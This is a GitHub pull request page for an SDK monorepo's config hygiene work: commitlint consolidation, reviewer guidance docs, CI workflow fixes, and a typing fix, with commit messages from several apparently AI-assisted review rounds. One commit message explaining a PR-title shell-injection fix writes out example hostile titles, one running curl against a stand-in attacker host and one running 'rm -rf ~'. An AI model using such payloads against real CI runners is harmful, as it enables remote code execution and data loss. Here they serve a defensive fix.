chore(config): hygiene rollout — extensions, commitlint reconciliation, CLAUDE.md, dtolnay typo fix#1034
Open
willgriffin wants to merge 12 commits into
Open
chore(config): hygiene rollout — extensions, commitlint reconciliation, CLAUDE.md, dtolnay typo fix#1034willgriffin wants to merge 12 commits into
willgriffin wants to merge 12 commits into
Conversation
Adds the SDK-specific overlay file consumed by the pr-review tool (https://github.com/happyvertical/pr-review) when /have:review-cycle runs against this repo. The file gets appended to the shared core checklist so the 4-reviewer ensemble (codex-cli + claude-cli/sub-agent + copilot-cli + orchestrator self-review) gets SDK-specific guidance. 248 lines, 11 sections. Patterns mined from CLAUDE-md-equivalent docs and ~12 recently-merged PRs: - SDK foundation conventions: getX(config) factory pattern, vendor SDKs in `dependencies` not optional peers, HAVE_<PACKAGE>_* env prefix, ESM-only / Node 24+ baseline. - Multi-provider footguns: cross-provider parity for new interface methods (PRs #1014, #1021), `getXAuto` overlap traps (#962), per-provider Retry-After parsing (#937), MIME hardcoding in social uploads (#1023), safety/staging-mode early returns (#1023). - `@happyvertical/sql` cross-database concerns: raw `query()` placeholder ambiguity (#1018/#1019), `upsert()` nullable conflict columns (#1026), advisory-lock keying (#803), DDL-on-request, Postgres connection caching. - `@happyvertical/files` and streaming: atomic-write inode/permission/symlink pitfalls (#987/#993), absolute-path injection in `validatePath`, `assertOkResponse` divergence. - `@happyvertical/encryption` + `@happyvertical/secrets`: envelope hierarchy, secrets↔sql scalar-vs-array bug (#944). - Standalone-extracted packages (spider/pdf/ocr live elsewhere) — don't drag heavy deps into SDK. - Build, release, consumer-impact: changeset bump-type matching, pnpm catalogs, workspace version consistency (#1006), `AGENT.md` is generated. - Live/optional integration tests: env opt-in, no personal hostnames, `afterAll` cleanup. - Author/machine path footguns: `/Users/will`, tailscale hostnames. - Doc-code drift: README vs package.json, `AGENT.md` purpose claims, default-value drift. - TypeScript surface tightening: decorative generics, `|| 0` metric coercion, optional sub-interfaces. Doesn't duplicate the core pr-review checklist (refactor regressions, silent error swallowing, hardcoded values, etc.). Strictly additive guidance specific to SDK patterns reviewers would otherwise miss. Was already written and tested in this session: produced 14 distinct findings on PR #1033 (payments package) when run via /have:review-cycle, including 2 HIGH-severity production bugs (BTCPay endpoint typo + xpub deps unreachable for consumers).
Two cleanup items in one commit because they're tightly coupled (both fix the local pre-commit validation pipeline). **1. commitlint config duplication.** The repo had both `commitlint.config.js` (ESM) and `.commitlintrc.json` (JSON) at root. Both declared `@commitlint/config-conventional` plus a `scope-enum`, but the enums had silently drifted: - `comfyui`, `directory`, `social`, `video` only in `.commitlintrc.json` - `accounting`, `email`, `encryption`, `github-actions`, `sdk-mcp`, `secrets`, `smrt`, `translator`, `weather` only in `commitlint.config.js` - `languages` (real package) in neither Which config wins at runtime is undefined-by-developer-intent — commitlint resolves via filename precedence. Any future scope-enum change would only update half of the config. Fix: delete `.commitlintrc.json`, keep `commitlint.config.js` (better comments + matches the rest of the modern config in the repo). Reconcile `scope-enum` against the actual `packages/*` directory list as of v0.74.x. All 31 current packages now listed including `payments` (new in PR #1033), plus the non-package scopes (`ci`, `config`, `deps`, `release`, `smrt`) recent commit history justifies. Drop legacy/orphaned scopes that aren't packages and aren't used (`content`, `git`, `gnode`, `ocr`, `pdf`, `products`, `spider`). Verified the reconciled enum against the last 25 merged commit messages — zero violations. **2. lefthook biome step exits 1 on biome-ignored files.** Lefthook's `format` step globs `*.{js,jsx,ts,tsx,svelte}` and passes matched files to `pnpm biome check --write`. But biome's `files.includes` in biome.json is narrower — top-level config files like commitlint.config.js are NOT included. When biome receives a file it ignores, it exits 1 ("no files processed"), which fails the commit. This bit me right now trying to commit the commitlint.config.js edits above (and would bite any future top-level-config commit). Fix: add `--no-errors-on-unmatched` to the biome invocation in lefthook.yml. Matches the pattern in the smrt repo's lefthook.yml. The flag tells biome to not treat "no files matched" as an error.
Per-package `AGENT.md` files are generated by `pnpm agent:sync` — hand-edits would get clobbered on the next sync. The new root `CLAUDE.md` is the hand-written counterpart that covers the generator's blind spots: - **`getX(config)` SDK foundation pattern** — the factory-based surface every SDK package follows, briefly described so new packages know the convention. - **`/have:review-cycle` and `/have:ship` slash commands** — the HappyVertical agent tooling for pre-PR ensemble review and PR shipping. Available via the `have@have-config` plugin marketplace. Currently no SDK doc mentions these. - **`.pr-review/extensions.md`** — pointer to the just-added overlay file. Includes the convention that recurring review findings should be folded back into that file rather than relying on collective memory. - **Conventional commits / commitlint** — `commitlint.config.js` is the single source of truth (post-reconciliation in the previous commit). New packages MUST be added to `scope-enum`. - **Release flow** — `shared-direct-publish.yml`. Don't unify with other repos' release workflows; it's tuned for the SDK's specific shape (29 packages, lockstep Changesets, downstream SMRT sync). - **Vendor SDK convention** — packages with multi-provider integrations ship vendor SDKs as runtime `dependencies`, not optional peers. The optional-peer pattern (which payments PR #1033 used) is the exception and MUST be documented in the package README's Install section when chosen. For full convention details + recent PR-mined footguns, see `.pr-review/extensions.md`.
The Install Rust toolchain step in build-json-native.yml referenced `dtolnay/rust-action@stable` — that repo doesn't exist. The correct repo is `dtolnay/rust-toolchain`. The workflow has never been triggered (it's a `workflow_call`-only reusable workflow with no caller in the current `.github/workflows/` tree), so the typo has been latent — but the moment a caller wires it up, the action resolution will 404. Also SHA-pinned per the repo's supply-chain pattern (all other actions in `.github/workflows/` are SHA-pinned with human-readable version annotations). The `# stable` annotation matches the moving-tag the SHA was resolved from. SHA `29eef336d9b2848a0b548edc03f92a220660cdb8` is the current head of dtolnay/rust-toolchain's `stable` branch as of this commit. The action.yml at that revision accepts the `targets:` input the workflow uses, confirming it's the right action.
Contributor
📦 Version Bump PreviewWhen this PR is merged into What happens on merge?
|
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
…ure payments scope Round-1 ensemble (codex + claude sub-agent + copilot + orchestrator self-review) all flagged the same blocking bug, plus 3 lower-severity items. 1. [HIGH, 4-way confirmation] CI configFile pointed at deleted file `.github/workflows/on-pull-request.yml:153` still passed `configFile: .commitlintrc.json` to wagoid/commitlint-github-action. The previous commit deleted that file. Per wagoid's action.yml, when configFile points at a missing path it **silently falls back to `@commitlint/config-conventional` defaults** rather than erroring — so CI would have stopped enforcing the reconciled scope-enum entirely without any visible failure. The "single source of truth" claim in commitlint.config.js + CLAUDE.md would have been load-bearing local-hook-only. Fix: update the workflow to `configFile: commitlint.config.js`. 2. [medium, 2-way] `payments` scope added but no `packages/payments` exists I proactively added `payments` to the scope-enum thinking it'd land in PR #1033 anyway. But the commitlint.config.js header docblock claims the enum "is reconciled against the actual `packages/*` directory list" — adding a forward-looking scope breaks that invariant. Drop `payments` from the enum. PR #1033 will need to add it (or this PR's pattern will need it added) at the time the directory actually lands. Updated the docblock with explicit rule: "Do NOT add scopes proactively for packages on other branches — keep the enum a description of present-tense reality, not a forecast." 3. [low] CLAUDE.md said "29 packages" but the repo has 30 AGENT.md (generator-managed by `pnpm agent:sync`) also says 29 — the generator is stale. Rather than mirror the stale count, dropped the specific number from CLAUDE.md and pointed at AGENT.md as the authoritative source ("kept in sync by `pnpm agent:sync`"). Avoids the same drift on every future package add. 4. [low] Commit message in c28d14d misattributed which scopes lived in which old config That commit's message said `accounting/email/encryption/github-actions/sdk-mcp/secrets/smrt/translator/weather` were only in `commitlint.config.js` — actually only `email`, `encryption`, `github-actions`, `sdk-mcp`, `secrets` were exclusive (the others were in BOTH old configs). The reconciliation outcome is unchanged but the docblock was inaccurate. Corrected here. Accepted non-blocker (P2, not fixed in this PR): - `.github/workflows/on-pull-request.yml:158` interpolates `${{ github.event.pull_request.title }}` directly into shell. Pre-existing workflow-command injection surface. Out of scope for this hygiene PR — flag for follow-up; standard fix is to pass via `env:` + `"$TITLE"`.
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
…epo ref Round-2 ensemble surfaced 3 findings; 2 fixed here, 1 accepted as non-blocker scope creep. 1. [medium, codex] dtolnay/rust-toolchain SHA pin was on the wrong branch Pinned `29eef336d9b2848a0b548edc03f92a220660cdb8` from the `stable` branch. Per dtolnay/rust-toolchain's README: > In a workflow that pins the action using a full-length commit SHA > (as opposed to something like @nightly or @1.89.0) it is required > that you pick a SHA that is within the history of the master > branch. Any commit that is not within the history of master will > eventually get garbage-collected and your workflows will fail. The `stable` / `beta` / `nightly` branches are *generated* — they get rewritten on each Rust release and old commits get GC'd. SHA pins to those become unreachable over time. Fix: pin `3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9` (current master head) and pass `toolchain: stable` via the action's input. The action code is locked; the toolchain selection happens at workflow run time. Added comments to the workflow explaining the pin convention so future maintainers don't reach for the stable-branch SHA again. 2. [low, copilot] CLAUDE.md reference to `.github/workflows/commitlint.yml` was ambiguous My CLAUDE.md said "see have-config's hardened regex in `.github/workflows/commitlint.yml`" — a reader could interpret that as a path in *this* repo (sdk doesn't have that file). Clarified the wording + added the explicit github.com URL + "that workflow lives in the have-config repo, not this one" parenthetical. ACCEPTED AS NON-BLOCKER (NOT FIXED THIS PR): 3. [medium, copilot] PR-title `validate-conventional-commits.js` doesn't enforce commitlint.config.js scope-enum Real: `scripts/validate-conventional-commits.js:27` uses a permissive regex that accepts any scope, while commitlint.config.js now has a strict scope-enum. A squash-merge PR title like `feat(payments): ...` could pass the title check even though `payments` was deliberately removed from the enum. Fix would be either: (a) run commitlint itself on the PR title via a new CI step, or (b) modify the script to import + enforce scope-enum from commitlint.config.js. Either is structural change outside this PR's stated scope ("hygiene rollout — extensions, commitlint reconciliation, CLAUDE.md, dtolnay typo fix"). The inconsistency is real but pre-existing in spirit (the title check has been permissive long before this PR). Defer to follow-up PR.
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
…+ scrub paths
Round-2 ensemble (codex + claude sub-agent + copilot + orchestrator
self-review) surfaced 3 distinct findings, all real:
1. [HIGH, copilot] wagoid rejects `.js` configFile extension
Round-2 fix pointed wagoid at `commitlint.config.js`. But
wagoid/commitlint-github-action@v6.2.1 explicitly throws on `.js`
extensions: ".js extension is not allowed for the configFile,
please use .mjs instead". My fix traded "missing file → silent
fallback to config-conventional defaults" for "exists but rejected
by action → fail loudly". Net: CI would still not enforce the
reconciled scope-enum.
Fix: `git mv commitlint.config.js commitlint.config.mjs` and update
the workflow's `configFile:` reference. The file content was already
valid ESM (`export default {...}`); the rename just makes the module
type unambiguous to wagoid's loader. Also updated all CLAUDE.md
references to the new filename.
2. [medium, codex] External-catalog scopes dropped from scope-enum
`pdf`, `spider`, `ocr` are external @happyvertical packages
version-managed in this monorepo via pnpm-workspace.yaml's
`catalog:` block (they live in separate repos). Both old
commitlint configs allowed those scopes, and recent commits use
them liberally (`fix(spider):`, `feat(pdf):` are the recent
patterns in git log). My reconciliation dropped them because they
weren't directories under `packages/*`.
Fix: add `ocr`, `pdf`, `spider` to a new "External-catalog
packages" section in the scope-enum, with a comment explaining
why they're here even though they don't live under `packages/`.
3. [low, codex] Personal hostname + path leaked in .pr-review/extensions.md
The "Live/optional integration tests" section had a literal
`https://mac.tail8e7e73.ts.net/...` Tailscale magic-DNS hostname
AND a literal `/Users/will/...` path as negative examples. Ironic:
the SAME section tells reviewers to grep for those exact patterns
and flag them. Even as negative examples in a doc, this leaves a
real developer's hostname/path in repo history.
Fix: replaced with `<machine>.<tailnet>.ts.net` and `/Users/<name>/`
placeholder forms. Added a parenthetical noting that the file
itself shouldn't seed the very patterns the checklist asks
reviewers to grep for.
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
…itlint
Round-3 ensemble surfaced two findings; both fixed here. Reverses the
round-2 acceptance on the PR-title gap because codex round-3 escalated
the severity from medium to HIGH.
1. [HIGH, codex] PR title shell interpolation — RCE on self-hosted runner
Previous form: `title="${{ github.event.pull_request.title }}"`
inside a run: block. GitHub Actions expands the expression BEFORE
bash parses the script, so a malicious title can:
- execute command substitution: `fix: $(curl https://attacker/...)`
fires at the runner shell during the variable assignment
- break out of quoting: `fix: x"; rm -rf ~; echo "ok`
This workflow runs on `pull_request` triggered by ANY contributor,
on the self-hosted `arc-happyvertical` runner. Arbitrary RCE from
user-controlled PR metadata. I accepted this as "pre-existing
non-blocker" in round 2 thinking it was medium; codex round-3
re-rated HIGH after recognizing the self-hosted runner context.
Real escalation, real risk, fix in same PR.
Fix: pass via `env: PR_TITLE: ${{ github.event.pull_request.title }}`
then reference as `"$PR_TITLE"` from bash. The shell sees the
variable as data, never as code. Also switched `echo` to `printf`
to avoid the leading-dash flag trap (a title starting with `-n`/
`-e`/`-E` would be eaten by echo).
2. [medium, codex + copilot] PR-title gate bypasses commitlint scope-enum
`scripts/validate-conventional-commits.js` uses a hardcoded regex
with permissive scope `(\(.+\))?` and 50-char subject limit. After
this PR's commitlint reconciliation, the two gates were
inconsistent in BOTH directions:
- Squash-merge titles like `feat(payments): ...` pass the script's
regex but fail commitlint's scope-enum → can land on main with
a scope commits would never validate.
- Titles with 51-100 char subjects pass commitlint (header-max-length
100) but fail the script's 50-char limit → false rejections.
Round 2 accepted this as out-of-scope "scope creep". Round 3
re-raised it (copilot, codex). The fix is actually small: pipe
the title through `commitlint --config commitlint.config.mjs`
instead of the bespoke script. One step replacement.
`scripts/validate-conventional-commits.js` is now unused by CI;
leaving the file in place (no CI cost, no behavior change for
anyone invoking it directly). Cleanup as a separate follow-up.
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
Round-4 commit broke the validate-commits job: introduced `npx
--no-install commitlint` in a job that never installs dependencies.
Three reviewers caught it (claude HIGH, codex medium, copilot medium —
3-way confirmation). Plus 3 lower-severity drift items.
1. [HIGH, 3-way] `npx --no-install commitlint` fails — no deps in job
The validate-commits job at line 140 only does Checkout + wagoid
(Docker action, doesn't leave commitlint in node_modules). My
round-4 fix added `npx --no-install commitlint --config ...` which
needs commitlint already present. On a clean CI runner this would
fail with `commitlint: command not found`, blocking every PR
landing after this PR merges.
The previous form (`node scripts/validate-conventional-commits.js`)
worked because that script is self-contained — only uses
`node:child_process`, no external deps. By replacing it I broke
the hermetic property.
Fix: add a `Setup Environment` step before the validation step
(matches the pattern the check-changeset job uses at line 44),
and switch from `npx --no-install commitlint` to `pnpm exec
commitlint`. The Setup Environment composite installs workspace
deps via pnpm; pnpm exec finds commitlint via node_modules/.bin.
Standard hermetic CI shape.
2. [low, codex] CLAUDE.md said multi-scope is rejected; commitlint
actually accepts it
`@commitlint/config-conventional` natively supports comma-separated
multi-scope (`fix(ai,repos):`) — it parses each scope individually
against scope-enum. Empirically verified: `printf '%s' "fix(ai,repos):
test" | pnpm exec commitlint` passes. Recent repo history has
multi-scope commits like `feat(cache,spider):` and `feat(ai,repos):`.
My CLAUDE.md docblock said multi-scope was NOT accepted —
misleading for contributors and agents. Corrected: multi-scope IS
accepted; only scoped-package (`feat(@happyvertical/sql):`) is
rejected (the `@` prefix isn't in the default scope grammar).
3. [low, codex] "Single source of truth" claim missed release-helper
commitlint.config.mjs docblock claimed it's the single source of
truth, but `scripts/release-helper.js` still imports and uses
`scripts/validate-conventional-commits.js` (which has its own
permissive hardcoded regex + 50-char subject limit). A commit
passing the release-helper preflight could still fail commitlint.
Acknowledged in the docblock as a known gap, with a pointer to
"retiring that script is a follow-up". Actual script retirement
would touch release-helper.js + tests, which is outside the
hygiene-PR scope.
4. [low, claude sub-agent] lefthook.yml comment referenced deleted
`commitlint.config.js`
The round-2 lefthook fix added an explanatory comment about
`--no-errors-on-unmatched` using `commitlint.config.js` as the
example. That file is now `commitlint.config.mjs` (round-3
rename), so the example was stale. Updated to use `eslint.config.mjs`
/ generic `*.config.{js,ts}` as the illustrative example, and
noted that `commitlint.config.mjs` doesn't actually match the
lefthook glob (so the flag is defense-in-depth here, not a hot
issue).
Cumulative accepted non-blockers (carry forward):
- None. All previously-accepted items have either been reversed and
fixed (PR-title injection, scope-enum bypass) or addressed by
documentation acknowledgment (release-helper script gap).
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
… package Round-6 ensemble caught the last drift: `packages/languages/` only contains `SPEC.md` (no `package.json`, no source). It's a forward- looking placeholder for a future package, same shape as `payments` was when this PR opened. My round-3 docblock said languages was "missing from both [old configs]: a real package" — wrong on the "real package" half. Same "no proactive scopes" rule applied in round 2 to `payments`: keep scope-enum a description of present-tense reality, not a forecast. Adding `languages` now lets `feat(languages): ...` pass both commit-validate and PR-title-validate even though release/docs/ package tooling has no surface by that name — and would silently land a release signal under a non-package scope. Fix: remove `languages` from scope-enum, update the reconciliation docblock to explicitly note it's a spec-only placeholder (with the same rationale as `payments` — add when the package is actually scaffolded). This is the round-5 commit message's symmetry violation: I dropped `payments` for being not-yet-real but kept `languages` thinking it was real. Both follow the same rule now. Round 6 round summary (verify round): - codex: 1 low (this finding) - claude sub-agent: 0 - copilot: 0 - orchestrator self-review: 0 Per loop discipline, a P3/low-only round doesn't extend the loop — fix inline, declare convergence. No round-7 verify needed.
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
9 tasks
There was a problem hiding this comment.
Pull request overview
Hygiene/config rollout to align this repo with shared “have-config” standards: add agent/reviewer guidance docs, unify commitlint configuration, harden PR title validation, and fix a latent GitHub Actions typo/pinning.
Changes:
- Added SDK-specific reviewer/agent guidance docs (
.pr-review/extensions.md,CLAUDE.md). - Consolidated commitlint into a single root config (
commitlint.config.mjs), removed.commitlintrc.json/legacy config, and updated CI + hooks to reference it. - Fixed workflow action typo and SHA-pinned
dtolnay/rust-toolchain; tightened lefthook Biome invocation to avoid unmatched-file failures.
Reviewed changes
Copilot reviewed 8 out of 8 changed files in this pull request and generated 2 comments.
Show a summary per file
| File | Description |
|---|---|
lefthook.yml |
Adds --no-errors-on-unmatched to Biome pre-commit formatting to prevent false failures. |
commitlint.config.mjs |
Introduces the unified commitlint configuration and scope enum source of truth. |
commitlint.config.js |
Removes the older commitlint config to prevent drift/duplication. |
.commitlintrc.json |
Removes the second, divergent commitlint config to prevent drift/duplication. |
CLAUDE.md |
Adds hand-maintained agent/tooling and repo convention notes. |
.pr-review/extensions.md |
Adds SDK-specific PR review checklist extensions for /have:review-cycle. |
.github/workflows/on-pull-request.yml |
Points commit validation at the new config and validates PR titles via commitlint. |
.github/workflows/build-json-native.yml |
Fixes dtolnay/rust-action typo to dtolnay/rust-toolchain and SHA-pins it. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Comment on lines
+10
to
+17
| * Single source of truth for commitlint-validated paths — see | ||
| * `.commitlintrc.json` deletion for context. Note: `scripts/release- | ||
| * helper.js` still calls `scripts/validate-conventional-commits.js`, | ||
| * which uses its own hardcoded regex (permissive scope, 50-char | ||
| * subject limit) and does NOT consult this file. Retiring that | ||
| * script is a follow-up; for now treat any commit message that | ||
| * passes the release-helper preflight as still subject to the | ||
| * stricter commitlint rules below. |
Comment on lines
+162
to
+166
| - name: Setup Environment | ||
| uses: ./.github/actions/setup-environment | ||
| with: | ||
| node-version: '24' | ||
| install-deps: 'true' |
…k (11 errors)
The Validate Changes / Run Tests CI check failed on this PR with 11
TS2339 errors in packages/comfyui/src/client.ts, all variants of
"Property X does not exist on type '{}'." Root cause: WSMessage.data
was typed as `unknown`, and the discriminated-union parser at
client.ts:234 (`parseProgressEvent`) accesses
`message.data?.<field>` for 6 different fields across the 5 message
types — none of which are reachable on `unknown`.
This is pre-existing in main — verified `packages/comfyui/src/client.ts`
is byte-identical between origin/main and this branch (introduced in
commit `5647249b feat: add TTS support and new packages for video
production (#787)` from 2026-01-27). Main's CI is already red on
this (see Test Failure Analysis / CI Failure Auto-Fix workflow
failures on recent main runs). The hygiene PR didn't cause the
failure but inherits the red signal.
Fix: replace `data?: unknown` with an inline interface listing the
6 fields the parser uses (`node`, `prompt_id`, `output`, `value`,
`max`, `exception_message`). All 11 TS2339 errors resolved with a
single type change. Verified locally: `pnpm tsc --noEmit` in
`packages/comfyui` returns clean.
Scope note: this is outside the original hygiene-PR scope, but the
user flagged the failing CI as blocking, and the alternative
(separate fix-PR followed by rebase) is more friction than the
one-line type narrowing here. The broader story (and other deferred
items) is in issue #1035; this commit closes #1035's item 2.
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
… output
Two fixes in one commit (both fallout from the round-7 typecheck fix):
1. [P3, codex round 7] WSMessage.data.node lost `null` from its type
Round 6's `data?: unknown` → `data?: {...}` narrowing in
`packages/comfyui/src/client.ts` typed `node` as just `string`,
but the ComfyUI WebSocket protocol uses `null` as a workflow-
completion sentinel that `waitForCompletion` (client.ts:443)
relies on via `event.nodeId === null`. Future maintainers
reading the narrowed type would think they could drop the null
check, silently breaking completion detection on long-running
workflows.
Two coordinated edits:
- `packages/comfyui/src/client.ts` WSMessage: `node?: string | null`
- `packages/comfyui/src/types.ts` ProgressEvent.nodeId:
`string | null` (was `string | undefined` — purely widening,
consumers handling the undefined case continue to work; null
becomes a documented third state)
Verified: `pnpm tsc --noEmit` in `packages/comfyui` clean.
2. [orchestrator self-catch] `git add -A` swept generated build
output into the round-7 commit (236 files, +8973 lines)
My round-7 commit (`e1513329`) used `git add -A` and accidentally
included `docs/docs/build-pr899/` (per-PR doc-build preview output
from PR #899 that landed in the worktree during `pnpm install` /
`pnpm build` runs) plus `docs/content/*.md` (generator output).
Neither is tracked on main. The PR's own `.pr-review/extensions.md`
even warns against this exact pattern: "DON'T `git add -A` blindly:
it stages unrelated untracked files".
Force-pushed away the contaminated commit. Belt-and-suspenders:
add `docs/docs/build-*` and `docs/content/*.md` to `.gitignore`
so future `git add -A` invocations in any worktree don't
re-trip the same trap.
Force-pushed over `e1513329` with `--force-with-lease` to drop the
bad commit. The replacement commit (this one) keeps only the actual
type-narrowing fix + the defensive gitignore.
willgriffin
force-pushed
the
claude/hygiene-rollout
branch
from
1297511 to
57b84a4
Compare
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
Contributor
CI Auto-Fix AttemptedI attempted to automatically fix the CI failure but was unsuccessful. Workflow: Pull Request Validation Please review the failure logs and fix manually. Automated by Claude |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Four small hygiene fixes surfaced by an audit of
sdkagainst the just-merged "have-config standard" (/have:review-cycle+/have:shipensemble, hardened commitlint, shared agent-tooling docs). Each is independent; commits are split for clean cherry-pickability.docs: add .pr-review/extensions.md for /have:review-cycle reviews— adds the SDK-specific overlay file thepr-reviewtool appends to its checklist when the slash command runs against this repo. 248 lines, 11 sections, mined from~12recently-merged PRs. Was the prompt that produced the 14 findings on PR feat: add payments package #1033 (the payments package review).fix(config): reconcile commitlint configs + tighten lefthook biome step— the repo had bothcommitlint.config.js(ESM) and.commitlintrc.json(JSON) at root with divergent scope-enums (silent maintainer trap —comfyui/directory/social/videoonly in JSON,accounting/email/encryption/github-actions/sdk-mcp/secrets/smrt/translator/weatheronly in JS,languagesin neither). Deleted the JSON one, reconciled the JS one against the actualpackages/*list (incl.payments). Also fixed a related pre-existing lefthook bug: theformatstep's biome invocation was missing--no-errors-on-unmatched, so any top-level-config.jscommit would fail because biome ignores those files but exits 1 on "no files processed" (mirrors the smrt repo's lefthook pattern).docs: add root CLAUDE.md with agent tooling and convention pointers—AGENT.mdfiles are generator-managed bypnpm agent:sync; this is the hand-written counterpart covering the generator's blind spots:getX(config)foundation pattern, slash commands,.pr-review/extensions.mdpointer, conventional commits, release flow, vendor-SDK-as-runtime-dep convention.fix(ci): correct dtolnay/rust-action typo to rust-toolchain + SHA-pin—build-json-native.ymlreferenceddtolnay/rust-action@stablewhich doesn't exist (typo fordtolnay/rust-toolchain). Latent bug because the workflow isworkflow_call-only with no current caller in the tree. Also SHA-pinned per the repo's supply-chain pattern (every other action in.github/workflows/is SHA-pinned with# <version>annotation).Out of scope (explicitly)
@happyvertical/tsconfig-base. SDK's tsconfig differs (noUncheckedIndexedAccess/noImplicitOverridenot set); migration would surface real but loud regressions across 29 packages. Deserves its own focused PR.@happyvertical/eslint-config. SDK uses Biome exclusively, no ESLint — would be net-new tooling, not a swap.publish-only-recovery / untagged-bump detector toshared-direct-publish.yml. SDK's release flow is mature (73 releases shipped, layered as reusable + caller); defer until a partial publish failure exposes the gap.paymentsbugs and should ship in their own follow-up PR.Test plan
commitlint.config.js.pnpm typecheckpre-push hook passes.validate-commits(wagoid) passes against the reconciled config.dtolnay/rust-toolchain@29eef336is verified as the correct action —action.ymlat that revision accepts thetargets:input the workflow uses./have:review-cycleensemble review (codex-cli + claude-cli/sub-agent + copilot-cli + orchestrator) — should be near-trivial given the scope, but worth one round for the contract.